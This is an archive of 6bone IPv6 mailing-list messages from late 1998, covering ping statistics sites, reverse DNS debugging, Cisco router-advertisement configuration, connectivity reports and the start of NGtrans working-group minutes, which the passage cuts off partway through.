The site is an IPv6 only web site.  You'll need an IPv6 enabled web browser or 
a translation bump-in-the-stack layer like Trumpet Winsock 4.1 to view it.

Pinger software curtesy of <pink@fsz.bme.hu>
Source code at ftp://ftp.fsz.bme.hu/ipv6/pinger/

If there are sufficient requests, I can make the page visible from IPv4 also.

Peter


From 6bone-owner  Mon Nov 23 07:16:03 1998
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Date: Mon, 23 Nov 1998 16:16:08 +0100
To: pete@trumpet.com.au (Peter R. Tattam), 6bone@ISI.EDU
From: Aad van der Zanden <Aad.van.der.Zanden@nc3a.nato.int>
Subject: Re: Pings stats from down under!!!
In-Reply-To: <3bv9d0l$1ms@lana-2.trumpet.com.au>
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At 01:52 AM 11/24/98 +1100, Peter R. Tattam wrote:
>Anyone who wants a looks at what the 6bone looks like from here in
Australia..
>
>	http://www.ip6.trumpet.net/pingstat/6bone-stats.html
>
>The site is an IPv6 only web site.  You'll need an IPv6 enabled web
browser or 
>a translation bump-in-the-stack layer like Trumpet Winsock 4.1 to view it.
>
>Pinger software curtesy of <pink@fsz.bme.hu>
>Source code at ftp://ftp.fsz.bme.hu/ipv6/pinger/
>
>If there are sufficient requests, I can make the page visible from IPv4 also.
>

PLease do!

Aad.

		
 NEW: Call me on my Selsius Internet Phone + 31-(0)70-3142536 :NEW 
               You'll be amazed by the voice quality
===================================================================
/ Aad van der Zanden.				| POSTAL ADDRESS:	
/ Communications Systems Division        	|
/ NATO C3 Agency		    		| NATO C3 Agency	
/ Email  : Aad.van.der.Zanden@nc3a.nato.int	| P.O. BOX 174		
/ Phone  : +31 (0)70 3142440 			| 2501 CD  The Hague	
/ Fax    : +31 (0)70 3142176 			| The Netherlands	
===================================================================

From 6bone-owner  Mon Nov 23 17:44:49 1998
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To: 6bone@ISI.EDU
From: pete@trumpet.com.au (Peter R. Tattam)
Subject: Re: Pings stats from down under!!!
Date: Mon, 23 Nov 1998 12:44:40 +1100
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In article <3bv9d0l$1ms@lana-2.trumpet.com.au> pete@trumpet.com.au (Peter R. Tattam) writes:
>To: 6bone@ISI.EDU
>From: pete@trumpet.com.au (Peter R. Tattam)
>Subject: Pings stats from down under!!!
>Date: Tue, 24 Nov 1998 01:52:44 +1100

>Anyone who wants a looks at what the 6bone looks like from here in Australia..

>        http://www.ip6.trumpet.net/pingstat/6bone-stats.html

>The site is an IPv6 only web site.  You'll need an IPv6 enabled web browser or 
>a translation bump-in-the-stack layer like Trumpet Winsock 4.1 to view it.

>Pinger software curtesy of <pink@fsz.bme.hu>
>Source code at ftp://ftp.fsz.bme.hu/ipv6/pinger/

>If there are sufficient requests, I can make the page visible from IPv4 also.

>Peter

Due to popular demand I've put up an IPv4 page also.

http://blues.trumpet.com.au/pingstat/6bone-stats.html

Peter

--
Peter R. Tattam - Managing Director          
Trumpet Software International Pty Ltd.
Phone: +61-3-6245-0220     Fax: +61-3-6245-0210

From 6bone-owner  Wed Nov 25 13:43:33 1998
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From: Armando Aguirre Schlick <lxa@inf.utfsm.cl>
Message-Id: <199811252143.SAA13396@trauco.inf.utfsm.cl>
Subject: Reverse DNS
To: 6bone@ISI.EDU
Date: Wed, 25 Nov 1998 18:43:04 -0300 (CDT)
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	I have configured my reverse DNS but I've made some test and I have
not success.... I don't know if it's due to my nslookup or it's my reverse
configuration.

lxa@trauco:$ nslookup -q=soa 3.0.0.0.1.0.f.0.e.f.f.3.ip6.int
Server:  inti.inf.utfsm.cl
Address:  200.1.19.1

3.0.0.0.1.0.f.0.e.f.f.3.ip6.int
origin = inti.inf.utfsm.cl
mail addr = hostmaster.inf.utfsm.cl
serial = 1998112502
refresh = 10800 (3 hours)
retry   = 1800 (30 mins)
expire  = 3600000 (41 days 16 hours)
minimum ttl = 86400
(1 day)
3.0.0.0.1.0.f.0.e.f.f.3.ip6.int nameserver = inti.inf.utfsm.cl
3.0.0.0.1.0.f.0.e.f.f.3.ip6.int nameserver = huelen.reuna.cl
inti.inf.utfsm.cl       internet address = 200.1.19.193
inti.inf.utfsm.cl       internet address = 146.83.198.3
inti.inf.utfsm.cl       internet address = 200.1.19.1
inti.inf.utfsm.cl       internet address = 200.1.19.129
huelen.reuna.cl internet address = 146.83.1.1

	The zone it's rigth , but when I ask for a address the output is:
	
lxa@trauco:$ nslookup 3ffe:f01:3::1
Server:  inti.inf.utfsm.cl
Address:  200.1.19.1

*** inti.inf.utfsm.cl can't find 3ffe:f01:3::1: Non-existent host/domain
lxa@trauco:$ nslookup 3ffe:f01:3::1
Server:  inti.inf.utfsm.cl
Address:  200.1.19.1

*** inti.inf.utfsm.cl can't find 3ffe:f01:3::1: Non-existent host/domain

	
	What I forget to did??

-- 
Armando Aguirre Schlick				mailto:lxa@inf.utfsm.cl
Estudiante De Ingenieria Civil en Informatica
Universidad Tecnica Federico Santa Maria, Chile
http://www.inf.utfsm.cl/~lxa

From 6bone-owner  Wed Nov 25 15:47:42 1998
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From: Keith Owens <kaos@ocs.com.au>
To: Armando Aguirre Schlick <lxa@inf.utfsm.cl>
cc: 6bone@ISI.EDU
Subject: Re: Reverse DNS 
In-reply-to: Your message of "Wed, 25 Nov 1998 18:43:04 -0300."
             <199811252143.SAA13396@trauco.inf.utfsm.cl> 
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On Wed, 25 Nov 1998 18:43:04 -0300 (CDT), 
Armando Aguirre Schlick <lxa@inf.utfsm.cl> wrote:
>	The zone it's rigth , but when I ask for a address the output is:
>	
>lxa@trauco:$ nslookup 3ffe:f01:3::1
>Server:  inti.inf.utfsm.cl
>Address:  200.1.19.1
>
>*** inti.inf.utfsm.cl can't find 3ffe:f01:3::1: Non-existent host/domain

dig `ip6_int 3ffe:f01:3::1/64`

ip6_int is ftp://ftp.ocs.com.au/pub/ip6_int.gz


; <<>> DiG 2.2 <<>> 0.0.0.0.3.0.0.0.1.0.f.0.e.f.f.3.ip6.int 
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr rd ra; Ques: 1, Ans: 0, Auth: 1, Addit: 0
;; QUESTIONS:
;;      0.0.0.0.3.0.0.0.1.0.f.0.e.f.f.3.ip6.int, type = A, class = IN

;; AUTHORITY RECORDS:
3.0.0.0.1.0.f.0.e.f.f.3.ip6.int.        560     SOA     inti.inf.utfsm.cl. hostmaster.inf.utfsm.cl. (
                        1998112504      ; serial
                        10800   ; refresh (3 hours)
                        1800    ; retry (30 mins)
                        3600000 ; expire (41 days 16 hours)
                        86400 ) ; minimum (1 day)


From 6bone-owner  Thu Nov 26 02:37:40 1998
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Date: Thu, 26 Nov 1998 18:42:01 +0800
From: "Queen's Mirror" <cwcamlan@queen.cwc.nus.edu.sg>
Organization: Center for Wireless Communications
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Subject: Singapore Linux Conference 1999
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SLC'99: Singapore Linux Conference 1999
5th-6th March 1999
Suntec City International Convention Center
SINGAPORE
-----------------

The SLC'99 Program Committee solicits proposals for 
panels, tutorials and poster sessions which will,
but is not limited to, showcase
the utilization of the Linux operating system, 
encourage vigorous discussion and further  the
understanding of and extend Linux to the general
community.

SLC, organized by the Linux User Group,Singapore
(LUGS) will be the first time a conference 
focussing on Linux is held in Singapore, 
let alone Asia.

Within the technical/scientific track we have
a session for "IPv6 and LINUX" and would
like to solicit for prospective speakers/tutorials
or workshop programs.

CONFERENCE:     5-6 March 1998

EVENTS:         
                Tutorials/Worshops: 5th March 1999
                Linux Install Fest: 5th March 1999
                BOF meetings: yet to be decided.

TUTORIAL/WORKSHOP tracks:
                Trach #1:
                        * beowulf class computing
                            beowulf cluster computing
                        * developer issues
                        * kernel 3.0
                        * ISP operations
                        * security
                        * java
                        * coda file system
                        * IPv6
                Track #2:
                        * home use
                        * office productivity tools
                        * my mom's linux machine
                        * introduction to linux
                        * scientific community
                        * introduction to linux
                        * scientific community
                        * education
                        * e-commerce (SSL/encryption)
                        * business issues
                        * games
                        * penguin
                        * user group issues

CONTACTS:
        (You may send proposals by email or snail mail)
                        Amlan Saha (Conference Chair)
                        194 Holland Road
                        Singapore 278587

                EMAIL:  amlan@nus.edu.sg
-----------------------------------------------

PS: Registration details for attendees will be made available in 
due course at http://www.lugs.org.sg/slc99.html

Yours truly
-Amlan Saha


-- 
----------------
Amlan Saha                              amlan@nus.edu.sg
** MS getting steamrolled by angry penguins & demons **

From 6bone-owner  Thu Nov 26 11:56:23 1998
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From: Armando Aguirre Schlick <lxa@inf.utfsm.cl>
Message-Id: <199811261955.QAA18035@trauco.inf.utfsm.cl>
Subject: My web...
To: 6bone@ISI.EDU
Date: Thu, 26 Nov 1998 16:55:55 -0300 (CDT)
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	I configured my ipv6-network and looks everything ok, but I don´t
know if somebody can access my webserver.
	Can someone access my webserver?? The address is
http://www.ipv6.inf.utfsm.cl, if it don´t work probe
http://zamana.ipv6.inf.utfsm.cl.....

	Thanks.
	
	P.D.: if somebody make the test, please send me a e-mail ( don´t
	matter if it´s rigth o wrong).
	
-- 
Armando Aguirre Schlick				mailto:lxa@inf.utfsm.cl
Estudiante De Ingenieria Civil en Informatica
Universidad Tecnica Federico Santa Maria, Chile
http://www.inf.utfsm.cl/~lxa

From 6bone-owner  Thu Nov 26 17:43:28 1998
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	Fri, 27 Nov 1998 09:43:25 +0800 (CST)
Date: Fri, 27 Nov 1998 09:43:25 +0800 (CST)
From: Chen Maoke <cmk@6bone.ipv6.net.edu.cn>
Message-Id: <199811270143.JAA03655@6bone.ipv6.net.edu.cn>
To: 6bone@ISI.EDU, lxa@inf.utfsm.cl
Subject: Re: My web...
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Status: RO

Hi, Armando

I cannot take the test for your Web Page at http://www.ipv6.inf.utfsm.cl/, for my browser cannot support IPv6-only site now. I found that this site had only an IPv6 global address, not an IPv4 one. I wonder which IPv6 implementation do you use.

Why not provider the IPv4 address in your DNS?

I have done a traceroute6 to 3ffe:f01:3::2. It looks fine, only with long round-trip (about 2-3 second).

Regards,
Maoke

----------------------
Chen, Maoke
TH-CERNET
CERNET Center,
Tsinghua University,
Beijing, P R of China
cmk@6bone.ipv6.net.edu.cn
----------------------

P.S. Our site is ring.ipv6.net.edu.cn (3ffe:3200:100::ca70:375c). You can try a trace to us as you like.


From 6bone-owner  Fri Nov 27 00:58:06 1998
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Date: Fri, 27 Nov 1998 08:57:16 +0000
From: "Keighery, Kevin" <kmkeighery@meto.gov.uk>
Subject: RE: My web...
To: "'Armando Aguirre Schlick'" <lxa@inf.utfsm.cl>, 6bone@ISI.EDU
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Hi,

Can't access your sites from IPv4 browser - as you might expect (with errors
as below). 

Fatal Error 500
Can't Access Document: http://www.ipv6.inf.utfsm.cl/. 
Reason: Can't locate remote host: www.ipv6.inf.utfsm.cl. 

Fatal Error 500
Can't Access Document: http://zamana.ipv6.inf.utfsm.cl/. 
Reason: Can't locate remote host: zamana.ipv6.inf.utfsm.cl. 

Have you seen the IPv6/IPv4 translator work at:
http://www.cs.washington.edu/research/networking/napt/  ?

Kevin
> -----Original Message-----
> From:	Armando Aguirre Schlick [SMTP:lxa@inf.utfsm.cl]
> Sent:	Thursday, November 26, 1998 7:56 PM
> To:	6bone@ISI.EDU
> Subject:	My web...
> 
> 
> 	I configured my ipv6-network and looks everything ok, but I don´t
> know if somebody can access my webserver.
> 	Can someone access my webserver?? The address is
> http://www.ipv6.inf.utfsm.cl, if it don´t work probe
> http://zamana.ipv6.inf.utfsm.cl.....
> 
> 	Thanks.
> 	
> 	P.D.: if somebody make the test, please send me a e-mail ( don´t
> 	matter if it´s rigth o wrong).
> 	
> -- 
> Armando Aguirre Schlick
> mailto:lxa@inf.utfsm.cl
> Estudiante De Ingenieria Civil en Informatica
> Universidad Tecnica Federico Santa Maria, Chile
> http://www.inf.utfsm.cl/~lxa

From 6bone-owner  Fri Nov 27 07:33:06 1998
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From: Spencer Giacalone <Spencer.Giacalone@digital.com>
To: "'Armando Aguirre Schlick'" <lxa@inf.utfsm.cl>, 6bone@ISI.EDU,
        "'Keighery, Kevin'" <kmkeighery@meto.gov.uk>
Subject: RE: My web...
Date: Fri, 27 Nov 1998 10:31:21 -0500
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same here

	----------
	From: 	Keighery, Kevin[SMTP:kmkeighery@meto.gov.uk]
	Sent: 	Friday, November 27, 1998 3:57 AM
	To: 	'Armando Aguirre Schlick'; 6bone@ISI.EDU
	Subject: 	RE: My web...

	Hi,

	Can't access your sites from IPv4 browser - as you might expect
(with errors
	as below). 

	Fatal Error 500
	Can't Access Document: http://www.ipv6.inf.utfsm.cl/. 
	Reason: Can't locate remote host: www.ipv6.inf.utfsm.cl. 

	Fatal Error 500
	Can't Access Document: http://zamana.ipv6.inf.utfsm.cl/. 
	Reason: Can't locate remote host: zamana.ipv6.inf.utfsm.cl. 

	Have you seen the IPv6/IPv4 translator work at:
	http://www.cs.washington.edu/research/networking/napt/  ?

	Kevin
	> -----Original Message-----
	> From:	Armando Aguirre Schlick [SMTP:lxa@inf.utfsm.cl]
	> Sent:	Thursday, November 26, 1998 7:56 PM
	> To:	6bone@ISI.EDU
	> Subject:	My web...
	> 
	> 
	> 	I configured my ipv6-network and looks everything ok, but I
don´t
	> know if somebody can access my webserver.
	> 	Can someone access my webserver?? The address is
	> http://www.ipv6.inf.utfsm.cl, if it don´t work probe
	> http://zamana.ipv6.inf.utfsm.cl.....
	> 
	> 	Thanks.
	> 	
	> 	P.D.: if somebody make the test, please send me a e-mail (
don´t
	> 	matter if it´s rigth o wrong).
	> 	
	> -- 
	> Armando Aguirre Schlick
	> mailto:lxa@inf.utfsm.cl
	> Estudiante De Ingenieria Civil en Informatica
	> Universidad Tecnica Federico Santa Maria, Chile
	> http://www.inf.utfsm.cl/~lxa


From 6bone-owner  Fri Nov 27 12:22:27 1998
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From: Armando Aguirre Schlick <lxa@inf.utfsm.cl>
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Subject: My Web II
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	I guest that now it's everything OK. Is there some tester??
	
-- 
Armando Aguirre Schlick				mailto:lxa@inf.utfsm.cl
Estudiante De Ingenieria Civil en Informatica
Universidad Tecnica Federico Santa Maria, Chile
http://www.inf.utfsm.cl/~lxa

From 6bone-owner  Sat Nov 28 09:32:52 1998
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From: "Igor V. Alekseev" <aiv@yars.free.net>
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Subject: CISCO conf
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Hello, 

I have a question conserning configuration of a cisco router (Experimental 
Version 11.3). 
Is there a way to turn off router advertising on LAN interface completely? That 
is to prohibit even replying to RS packets received on the interface? 'ipv6 nd 
supress-ra'  command turnes off periodic unsolicited RA messages, but the device 
still answeres RS received on the interface. I am using the same LAN for several 
IPv6 submenets, so I need to disallow some RA's.

TIA, 

Igor V. Alekseev
Yaroslavl University Internet Centre

From 6bone-owner  Sat Nov 28 17:19:05 1998
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From: Will Waites <wwaites@enfm.utcc.utoronto.ca>
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In-reply-to: <199811281732.UAA11631@gemini.yars.free.net> (aiv@yars.free.net)
Subject: Re: CISCO conf
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>>>>> "Igor" == Igor V Alekseev <aiv@yars.free.net> writes:

    Igor> interface? 'ipv6 nd supress-ra' command turnes off periodic
    Igor> unsolicited RA messages, but the device still answeres RS
    Igor> received on the interface. I am using the same LAN for
    Igor> several IPv6 submenets, so I need to disallow some RA's.

I think a suitably constructed access list and 'ipv6 traffic-filter
access-list-name in' on the interface should do for simply dropping
incoming RS packets. I don't think that IOS supports very flexible
IPv6 access lists yet, though so you may be limited to dropping all
anycast packets, which is less than ideal...

Cheers,
Will

-- 
/--------------------------------------------------------------\
| Will Waites                    wwaites@enfm.utcc.utoronto.ca |
| Senior Network Specialist             tel.:  +1 416.946.3379 |
| ONet / External Network Facilities Management                |
| University of Toronto                                        |
|--------------------------------------------------------------|
| I haven't lost my mind -- it's backed up on tape somewhere.  |
\--------------------------------------------------------------/

From 6bone-owner  Sat Nov 28 17:29:04 1998
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To: "Igor V. Alekseev" <aiv@yars.free.net>
Cc: 6bone@ISI.EDU
Subject: Re: CISCO conf
In-Reply-To: Igor V. Alekseev's message of Sat, 28 November 1998 20:32:43 +0300 <199811281732.UAA11631@gemini.yars.free.net>
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"Igor V. Alekseev" <aiv@yars.free.net> said:
> Hello, 

> I have a question conserning configuration of a cisco router (Experimental 
> Version 11.3). 

> Is there a way to turn off router advertising on LAN interface
> completely? That is to prohibit even replying to RS packets received
> on the interface? 'ipv6 nd supress-ra' command turnes off periodic
> unsolicited RA messages, but the device still answeres RS received
> on the interface. I am using the same LAN for several IPv6
> submenets, so I need to disallow some RA's.

  I'm not sure right off if there's a way to turn it off completely,
but I do know that if you give the router addresses on all of the
subnets, it will put all of the addresses in the advertisement.  Or at
least, this is certainly true under the cisco IPv4 IRDP code.  That
might avoid the problem.

  I'd have to look into whether it could be shut off completely.  I
simply don't know...

                           - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

From 6bone-owner  Sun Nov 29 17:30:38 1998
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Date: Sun, 29 Nov 1998 17:30:03 -0800 (PST)
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From: Pedro Marques <roque@cisco.com>
To: "Igor V. Alekseev" <aiv@yars.free.net>
Cc: 6bone@ISI.EDU
Subject: CISCO conf
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>>>>> "Igor" == Igor V Alekseev <aiv@yars.free.net> writes:

    Igor> Hello, I have a question conserning configuration of a cisco
    Igor> router (Experimental Version 11.3).  Is there a way to turn
    Igor> off router advertising on LAN interface completely? That is
    Igor> to prohibit even replying to RS packets received on the
    Igor> interface? 'ipv6 nd supress-ra' command turnes off periodic
    Igor> unsolicited RA messages, but the device still answeres RS
    Igor> received on the interface. I am using the same LAN for
    Igor> several IPv6 submenets, so I need to disallow some RA's.

If i understand correctly what you need is to control the prefixes
advertised in the RA and disable the 'autoconfig' flag on the prefixes
advertised by that router so that the hosts in the subnet do not use
that prefix to autoconfigure addresses on that subnet.

>From the cisco documentation:

[...]

  Interface subcommands:

[...]
     ipv6 nd prefix-advertisement <routing-prefix>/<length> <valid-lifetime>
                                <preferred-lifetime> [onlink | autoconfig]
        Explicitly configure which IPv6 routing prefixes are advertised
        in an Router Advertisement.  If this command is not used,
        then the router will advertise all prefixes configured on
        the interface originating the Router Advertisements.

If i understand your problem description correctly this would be the
way to deal with your situation according to the specs rather than
disabling RAs on the interface.

btw: I fear that configuration details of a particular implementation
might be slightly outside the scope of this mailing list. Please
consider using 'ipv6-deployment@external.cisco.com' for this type of
questions.

regards,
  Pedro.

From 6bone-owner  Fri Dec  4 09:08:20 1998
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Date: Fri, 04 Dec 1998 18:11:53 +0100
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From: "A. Friedrich" <friedrich@planet.de>
Subject: problems with networking
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Hi,

I have a little problem, hope you can help me.

When i try to make a telnet or ftp on my
ipv6-host, i get following messages in my syslog-file.
" in.telnetd[128]: refused connect from 0.64.6.0"
Telnet and ftp chrashes with "segmentation fault".


My system is a linux-2.1.131 box (on a pentium), 
DNS is i.O. , inet-apps-0.34,net-tools-1.47 and
telnet.95.10.23.NE .

I think is a problem with a libery (function inet_ntoa ?).

Thanx 

Axel
_________________________________________________
reality.sys corrupt !   REBOOT UNIVERSE (Y/n)?   \

From 6bone-owner  Sun Dec  6 17:36:46 1998
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Subject: icmpv6 type 140 ?
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I've just seen some ICMPv6 packets with type 140 (unassigned,
last type is 138 for router renumbering) on the Ethernet at
the IETF terminal room. What are they ?

Francis.Dupont@inria.fr

From 6bone-owner  Mon Dec  7 06:25:17 1998
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Date: Mon, 07 Dec 1998 09:23:22 -0500
To: ietf@ietf.org, 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: ipv6 term room and fetching rfcs using native v6
Cc: c2-tech@canarie.ca
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Hi,
	the ipv6 network is up since 20h00 yesterday in the terminal room, in both
the laptop 
and the desktop networks. You will have a 3ffe:0b00:c18:[23]/64 prefix. 

	For the fun of it, we've put a mirror of our normos site
(rfc-draft-std-ripe-... mirror and database)
on ipv6 accessible by http://normos.ipv6.viagenie.qc.ca 
(only the AAAA record is available for this hostname, so you need a ipv6
capable browser) so

   you can fetch RFCs and drafts in native ipv6... ;-)))

Regards, Marc.

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagénie inc.			| http://www.viagenie.qc.ca
3107 des hôtels		| tél.: 418-656-9254 
Ste-Foy, Québec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
Internet Engineering Standards/Normes d'ingénierie Internet
               http://www.normos.org
------------------------------------------------------------


From 6bone-owner  Mon Dec  7 08:18:37 1998
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Jun-ichiro itojun Itoh <itojun@turmeric.itojun.org>
cc: 6bone@ISI.EDU, itojun@itojun.org
Subject: Re: icmpv6 type 140 ? 
In-reply-to: Your message of Mon, 07 Dec 1998 12:41:21 +0900.
             <2312.913002081@turmeric.itojun.org> 
Date: Mon, 07 Dec 1998 17:18:07 +0100
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 In your previous mail you wrote:
   
   	I'm sorry if it bothers you...  I'm always hoping to use official
   	number for this...
   
=> it didn't bother me, it was just curiosity...

Francis.Dupont@inria.fr

From 6bone-owner  Mon Dec  7 15:32:48 1998
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From: "Capriotti Andrea" <capriott@gulliver.unian.it>
To: <6bone@ISI.EDU>
Subject: INTERNET 2 Information Request
Date: Tue, 8 Dec 1998 00:29:27 +0100
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Dear Sir or Madam

My name is Andrea Capriotti and I am specializing in Telecomunications at
the
Electronics Engineering University of ANCONA (Italy).
I am working for my degree examination concerning INTERNET 2 and I am
looking for every information about links and technical materials (e.g.
Bandwith, QoS, GigaPops, IPV6, protocols and every  kind of mathematical
formulas).
I have already examinated the Web pages of www.internet2.edu and those
connected to it downloading most of the Powerpoint presentations and a lot
of documentation but I need more scientifical and mathematical informations.
Waiting for news, I thank you in advance for your interesting.

Yours Faithfully
Andrea Capriotti
http://gulliver.unian.it/capriotti
capriott@gulliver.unian.it
ICQ #246379



From 6bone-owner  Mon Dec  7 19:38:28 1998
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199812080338.TAA25219@zephyr.isi.edu>
Subject: Re: INTERNET 2 Information Request
To: capriott@gulliver.unian.it (Capriotti Andrea)
Date: Mon, 7 Dec 1998 19:38:21 -0800 (PST)
Cc: 6bone@ISI.EDU
In-Reply-To: <003101be2239$70266fc0$0100005a@granma> from "Capriotti Andrea" at Dec 8, 98 00:29:27 am
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I understand that Internet2 has the intention of joining the 6bone.
Please contact Dale Finklstein for more details.



> 
> Dear Sir or Madam
> 
> My name is Andrea Capriotti and I am specializing in Telecomunications at
> the
> Electronics Engineering University of ANCONA (Italy).
> I am working for my degree examination concerning INTERNET 2 and I am
> looking for every information about links and technical materials (e.g.
> Bandwith, QoS, GigaPops, IPV6, protocols and every  kind of mathematical
> formulas).
> I have already examinated the Web pages of www.internet2.edu and those
> connected to it downloading most of the Powerpoint presentations and a lot
> of documentation but I need more scientifical and mathematical informations.
> Waiting for news, I thank you in advance for your interesting.
> 
> Yours Faithfully
> Andrea Capriotti
> http://gulliver.unian.it/capriotti
> capriott@gulliver.unian.it
> ICQ #246379
> 
> 
> 


-- 
--bill

From 6bone-owner  Mon Dec  7 19:55:43 1998
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Date: Mon, 07 Dec 1998 22:47:04 -0500
From: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
Subject: Re: INTERNET 2 Information Request
To: 6bone <6bone@ISI.EDU>, Capriotti Andrea <capriott@gulliver.unian.it>
Reply-to: Ramesh Shanmuganathan <s.ramesh-rit@ieee.org>
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Hi! Andrea,

I don't quite understand what you mean by scientific and mathematical
formulae. As for Internet2 goes I guess there two schools of thought. One is
IP over ATM ( or MPOA) another is POS ( packet over Sonet). So the concepts
that govern the backbone necessarily stems from ATM network concepts and
that of BISDN and SONET depending on their deployment.

Only if you could elucidate as to your specific research area into
Internet2, I may be of help. Incidentally I am involved with the Internet2
project at University of Rochester as part of my thesis work on "IP over
ATM". Take care.

Best regards,

Ramesh
_________________________________________________________________

Ramesh Shanmuganathan
233D Perkins Green, Perkins Road
Rochester NY 14623
Tel: 716-424-8384/8796
E-mail: s.ramesh-rit@ieee.org, ramesh@computer.org
Internet: http://www.rit.edu/~rxs6469

-----Original Message-----
From: Capriotti Andrea <capriott@gulliver.unian.it>
To: 6bone@ISI.EDU <6bone@ISI.EDU>
Date: Monday, December 07, 1998 8:41 PM
Subject: INTERNET 2 Information Request


>Dear Sir or Madam
>
>My name is Andrea Capriotti and I am specializing in Telecomunications at
>the
>Electronics Engineering University of ANCONA (Italy).
>I am working for my degree examination concerning INTERNET 2 and I am
>looking for every information about links and technical materials (e.g.
>Bandwith, QoS, GigaPops, IPV6, protocols and every  kind of mathematical
>formulas).
>I have already examinated the Web pages of www.internet2.edu and those
>connected to it downloading most of the Powerpoint presentations and a lot
>of documentation but I need more scientifical and mathematical
informations.
>Waiting for news, I thank you in advance for your interesting.
>
>Yours Faithfully
>Andrea Capriotti
>http://gulliver.unian.it/capriotti
>capriott@gulliver.unian.it
>ICQ #246379
>
>


From 6bone-owner  Tue Dec  8 22:02:08 1998
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: connectivity problem
Date: Tue, 8 Dec 1998 22:01:30 -0800 
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I'm having trouble reaching sipper.ipv6.zk3-dec.com from
ipv6.research.microsoft.com. Sometimes pings get through, and sometimes I
get Destination Unreachable (Address Unreachable) errors from
3ffe:1001:1:f004::1.

The strange thing is there seems to be a 10-second periodicity. Five pings
will succeed, then 5 pings will fail, and so on.

The good thing is that TCP has no problems coping with this and I can access
http://sipper.ipv6.zk3-dec.com just fine.

I note that the ftp server on sipper does not seem to support the EPSV
command. Does anyone have one up that I can test against?

Thanks,
Rich

From 6bone-owner  Wed Dec  9 03:52:54 1998
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Date: Wed, 9 Dec 1998 03:52:48 -0800 (PST)
From: Siu Ming Lo <slo@falcon.csc.calpoly.edu>
To: 6bone@ISI.EDU
Subject: Any publicly avaiable ipv6 ftp server on NT4.0
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Hi Everyone,

Did anyone know where i can find and download some publicly-available ipv6
ftp servers for my computer running Windows NT4.0? Either source code or
executable will work.

Thanks

Siu   


From 6bone-owner  Wed Dec  9 05:41:40 1998
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Date: Wed, 09 Dec 1998 08:40:44 -0500
To: ngtrans@sunroof.eng.sun.com, IPng List <ipng@sunroof.Eng.Sun.COM>,
        6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: 6ren discussion in Paradise A at 12:15 PM (40-45 mins at most)
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As mentioned in the ngtrans meeting yesterday, I will have a brief 6ren
startup discussion at 12:15 PM in Paradise A today, Wed.

Current 6boen pTLAs are especially invite to come.


Thanks,

Bob

From 6bone-owner  Wed Dec  9 09:07:12 1998
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Date: Wed, 9 Dec 1998 18:07:30 +0100 (CET)
From: Andrea Capriotti <capriott@gulliver.unian.it>
To: Siu Ming Lo <slo@falcon.csc.calpoly.edu>
cc: 6bone@ISI.EDU
Subject: Re: Any publicly avaiable ipv6 ftp server on NT4.0
In-Reply-To: <Pine.SOL.4.03.9812090352130.27843-100000@falcon.csc.calpoly.edu>
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On Wed, 9 Dec 1998, Siu Ming Lo wrote:

> Date: Wed, 9 Dec 1998 03:52:48 -0800 (PST)
> From: Siu Ming Lo <slo@falcon.csc.calpoly.edu>
> To: 6bone@ISI.EDU
> Subject: Any publicly avaiable ipv6 ftp server on NT4.0
> 
> 
> Hi Everyone,
> 
> Did anyone know where i can find and download some publicly-available ipv6
> ftp servers for my computer running Windows NT4.0? Either source code or
> executable will work.
> 
> Thanks
> 
> Siu   
> 
I am searching for this too....
If I find something I'll comunicate.
Regards
Andrea Capriotti



From 6bone-owner  Wed Dec  9 12:01:44 1998
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Date: Thu, 10 Dec 1998 09:01:03 +1300
From: Joe Abley <jabley@clear.co.nz>
To: Bob Fink <rlfink@lbl.gov>, ngtrans@sunroof.eng.sun.com,
        IPng List <ipng@sunroof.eng.sun.com>, 6bone@ISI.EDU
Cc: jabley@clear.co.nz
Subject: Re: 6ren discussion in Paradise A at 12:15 PM (40-45 mins at most)
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On Wed, Dec 09, 1998 at 08:40:44AM -0500, Bob Fink wrote:
> As mentioned in the ngtrans meeting yesterday, I will have a brief 6ren
> startup discussion at 12:15 PM in Paradise A today, Wed.

Where?

Today is Thursday :)


From 6bone-owner  Sat Dec 12 16:02:49 1998
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Subject: Minutes of NGtrans WG Meeting Orlando IETF Dec 98 
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Minutes of NGtrans WG Meeting
8 December 1998
Orlando IETF

Chairs: Bob Fink fink@es.net
Tony Hain tonyhain@microsoft.com

This ngtrans meeting reported by Alain Durand, Bob Fink and Tony Hain

Attendance: 170 signed in, estimated at 200 actually present
________________________________________________________________
Administrative information:

Discussion ngtrans:  ngtrans@sunroof.eng.sun.com
Subscribe ngtrans:   majordomo@sunroof.eng.sun.com "subscribe ngtrans"
Archive ngtrans:     ftp://playground.sun.com/pub/ngtrans
Web site:            http://www.6bone.net/ngtrans.html

Discussion 6bone:    6bone@isi.edu
Subscribe 6bone:     majordomo@isi.edu "subscribe 6bone"
Archive ngtrans:     http://www.ipv6.nas.nasa.gov/6bone/
Web site:            http://www.6bone.net


___

The chairs announced there will be a joint ngtrans/ipng interim meeting in the
San Francisco area in early February for future planning of IETF IPv6 work.
Further revisions to the ngtrans charter will await these discussions and due
process in the WG. An announcement will be made to all the mail lists as soon
as possible as to time and place.

Bob Gilligan has resigned as a co-chair of ngtrans due to other commitments.
The continuing co-chairs would like to thank Bob for all his past IPv6 work,
for the IPng WG and NGtrans WG. Newcomers should be aware that Bob helped craft
IPv6's excellent Transition Mechanisms concepts and architecture.

___

Erik Nordmark from Sun concluded discussion on the I-D for replacement of RFC
1933 (Transition Mechanisms) and will proceed with a last call on this work.
Items that will be included in the -01 to -02 version of the I-D are:

Will add clarification that configured tunnels can be unidirectional or
bidirectional.

Will add description of bidirectional virtual links as another type of tunnel,
and that nodes MUST respond to NUD probes on such links and SHOULD send NUD
probes.

Will add reference to [6over4] work.

Will clarify that IPv4-compatible addresses are assigned exclusively to nodes
that support automatic tunnels.

Will add text about formation of link-local addresses and use of Neighbor
